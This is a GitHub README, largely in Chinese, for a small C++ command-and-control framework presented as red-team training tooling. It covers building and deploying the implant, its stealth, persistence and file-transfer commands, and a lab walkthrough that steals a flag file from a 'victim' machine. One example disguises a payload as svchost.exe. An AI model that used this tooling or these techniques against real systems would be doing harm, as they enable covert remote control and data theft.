Ch4120N/Ch4120N-SimpleC2

GitHub: Ch4120N/Ch4120N-SimpleC2

一个基于 C++17 的跨平台 C2 框架,专为安全教育和红队模拟设计,提供类 Metasploit 的多会话管理界面和完整的远程控制功能。

Stars: 0 | Forks: 0

🔱 Ch4120N Simple C2

Platforms C++17 GPLv3 License Educational Use

A cross‑platform Command & Control framework for security education and red‑team simulation.

## ⚠️ 免责声明 **本软件专为教育目的和授权的安全测试而设计。 未经明确许可,擅自对您不拥有的系统进行测试是非法的。 作者不对因滥用此工具而造成的任何误用或损害负责。** ## ✨ 功能 - **🌍 跨平台** – 无需修改即可在 **Windows**、**Linux** 和 **macOS** 上运行。 - **🔗 多客户端支持** – 管理数十个并发会话。 - **💻 类 Metasploit 界面** – 熟悉的 `sessions`、`use`、`shell` 和 `background` 命令。 - **🔐 XOR 加密** – 简单的流量混淆(可自定义密钥)。 - **📂 完整的文件系统操作** – `download`、`upload`、`cat`、`rm`、`mv`、`cp`、`mkdir`、`touch`。 - **⚙️ 进程与网络控制** – `ps`、`killproc`、`netinfo`。 - **🔍 侦察工具** – `sysinfo`、`hash`、`search`、`env`、`id`、`info`。 - **🗜️ 存档创建** – 直接在远程主机上执行 `zip` / `unzip`。 - **🔄 持久化客户端** – 具有可配置的重试延迟的自动重连。 - **🛡️ 隐蔽模式** – 客户端可以隐藏其控制台窗口。 - **📂 动态 `cd`** – **持久化**更改工作目录,并更新提示符。 - **📁 可选的传输目标路径** – `download remote [local]`、`upload local [remote]`。 - **🧰 交互式 shell** – 具有实时提示符的完整类 TTY 体验。 - **🎯 智能命令转换** – 在 Windows 上自动映射 `ls` → `dir`、`ps` → `tasklist` 等。 - **🖥️ 良好的信号处理** – Ctrl+C 不会终止服务器。 ## 🚀 快速开始 ### 前置条件 - **CMake** ≥ 3.10 - C++17 编译器 (GCC, Clang, MSVC, MinGW) - Windows: MinGW 或 Visual Studio - Linux/macOS: build-essential / Xcode ### 从源码编译 ``` git clone https://github.com/Ch4120N/Ch4120N-SimpleC2.git cd Ch4120N-SimpleC2 mkdir build && cd build cmake .. # or cmake -G "MinGW Makefiles" .. on Windows/MinGW cmake --build . ``` 成功构建后,您将获得两个可执行文件: - `ch4120n_server` – C2 服务器(指挥中心) - `ch4120n_client` – 植入程序 / 客户端 ### 运行服务器 ``` ./ch4120n_server # default port 4444 ``` 服务器提示符如下所示: ``` root@Ch4120N-C2: ~# ``` ### 部署客户端 在目标机器上(仅出于培训目的,在您自己的实验环境中),运行: ``` ch4120n_client [PORT] ``` 示例: ``` ch4120n_client 192.168.1.100 4444 ``` 客户端将静默连接,并默认每 5 秒重试一次。 ## 🕹️ 命令参考 ### 全局命令 | 命令 | 描述 | |---------|-------------| | `help` / `?` | 显示完整命令列表 | | `list` / `sessions` | 显示所有已连接的会话 | | `use ` / `sessions -i ` | 选择一个会话进行交互 | | `sessions -k ` | 终止(结束)一个会话 | | `background` | 取消选择当前会话,返回主菜单 | | `clear` / `cls` | 清除屏幕 | | `exit` | 优雅地关闭 C2 服务器 | ### 会话命令(在执行 `use ` 之后) | 命令 | 描述 | 示例 | |---------|-------------|---------| | `shell` | 进入交互式 shell(提示符显示远程 cwd) | `shell` | | `exec ` | 运行单条命令并显示输出 | `exec ipconfig` | | `cd ` | 更改远程工作目录(持久化) | `cd C:\Users` | | `pwd` / `cwd` | 显示当前远程目录 | `pwd` | | `info` | 显示会话详情(OS、用户、主机名、cwd) | `info` | | `ps` | 列出正在运行的进程(自动跨平台) | `ps` | | `ls` | 列出目录内容(在 Windows 上为 `dir`) | `ls` | | `cat ` | 显示文件内容 | `cat secret.txt` | | `rm` / `del ` | 删除文件 | `rm malware.exe` | | `mkdir ` | 创建目录 | `mkdir tools` | | `mv ` | 移动 / 重命名文件 | `mv old.txt new.txt` | | `cp ` | 复制文件 | `cp payload.exe ..\` | | `touch ` | 创建空文件 / 更新时间戳 | `touch log.dat` | | `killproc ` | 通过 PID 终止进程 | `killproc 1337` | | `netinfo` | 显示网络适配器 / IP 配置 | `netinfo` | | `id` / `whoami` | 打印当前用户 | `id` | | `sysinfo` | 显示 OS、主机名和用户 | `sysinfo` | | `download [local]` | 下载文件(别名 `get`) | `download C:\secret.txt .\copy.txt` | | `upload [remote]` | 上传文件(别名 `put`) | `upload payload.exe C:\Windows\Temp\svchost.exe` | | `sleep ` | 设置客户端重连延迟 | `sleep 10` | | `hash ` | 计算文件哈希(在 Windows 上为 SHA256,在 Linux 上为 sha256sum/md5sum) | `hash secret.bin` | | `search ` | 递归搜索文件 | `search *.docx` | | `env` | 显示环境变量 | `env` | | `zip ` | 创建存档(在 Windows 上使用 PowerShell,在 Unix 上使用 tar) | `zip backup.zip *.txt` | | `unzip ` | 提取存档 | `unzip backup.zip` | | `kill` | 终止当前选定的会话 | `kill` | ### 交互式 Shell 进入 `shell` 后,您将在一个完全交互式的远程终端中进行操作。 提示符将更改为: ``` root@Ch4120N-C2: /sessions/1@TARGET-PC:C:\Users\Victim # ``` 您可以像在本地终端上一样输入任何原生 OS 命令并使用 `cd`。 输入 `exit`(或按 Ctrl+C)可返回服务器的会话菜单。 ## 🧬 协议与安全 - **加密**:所有数据均使用静态密钥(`Ch4120N!SimpleC2`)进行 XOR 加密。您可以在 `common.h` 中更改它。 - **协议**:长度前缀消息(`int32_t` 长度 + payload)。 - **文件传输**:使用相同的 XOR 加密通道,文件分块流式传输。 - **限制**:每个客户端单线程;没有公钥加密。这是为了透明度和学习而有意为之。**不要依赖它进行实际操作。** ## 🧪 实验环境示例 1. **攻击者机器** (192.168.1.100): ./ch4120n_server 2. **受害者机器** (Windows 10 实验环境): ch4120n_client.exe 192.168.1.100 4444 3. **攻击者控制台**: root@Ch4120N-C2: ~# list [1] 192.168.1.50:49152 (Windows) root@Ch4120N-C2: ~# use 1 root@Ch4120N-C2: /sessions/1 (C:\Users\Victim)~# info Session : 1 Hostname : WIN10-LAB OS : Windows User : victim Directory : C:\Users\Victim root@Ch4120N-C2: /sessions/1 (C:\Users\Victim)~# shell [*] Entering shell mode. root@Ch4120N-C2: /sessions/1@WIN10-LAB:C:\Users\Victim # whoami victim root@... # cd C:\Windows\Temp root@... # cp C:\Users\Victim\flag.txt . root@... # exit root@...: /sessions/1 (C:\Windows\Temp)~# download flag.txt ./captured_flag.txt [+] Downloaded 42 bytes -> ./captured_flag.txt root@...: /sessions/1 (C:\Windows\Temp)~# sessions -k 1 [*] Session 1 killed. ## 📁 项目结构 ``` Ch4120N-SimpleC2/ ├── CMakeLists.txt ├── .gitignore ├── LICENSE ├── README.md └── src/ ├── common.h # Cross‑platform abstractions, XOR, protocol helpers ├── server.cpp # Multi‑client C2 server with interactive CLI └── client.cpp # Persistent implant with full command set ``` ## 📜 许可证 本项目基于 **GPLv3 许可证**授权 – 详情请参阅 [LICENSE](LICENSE) 文件。

Ch4120N 采用 ❤️ 构建 – 献给安全教育社区。

标签:Bash脚本, C++, C2框架, Gophish, HTTP工具, IP 地址批量处理, 安全学习资源, 安全意识培训, 安全教学, 数据擦除, 网络信息收集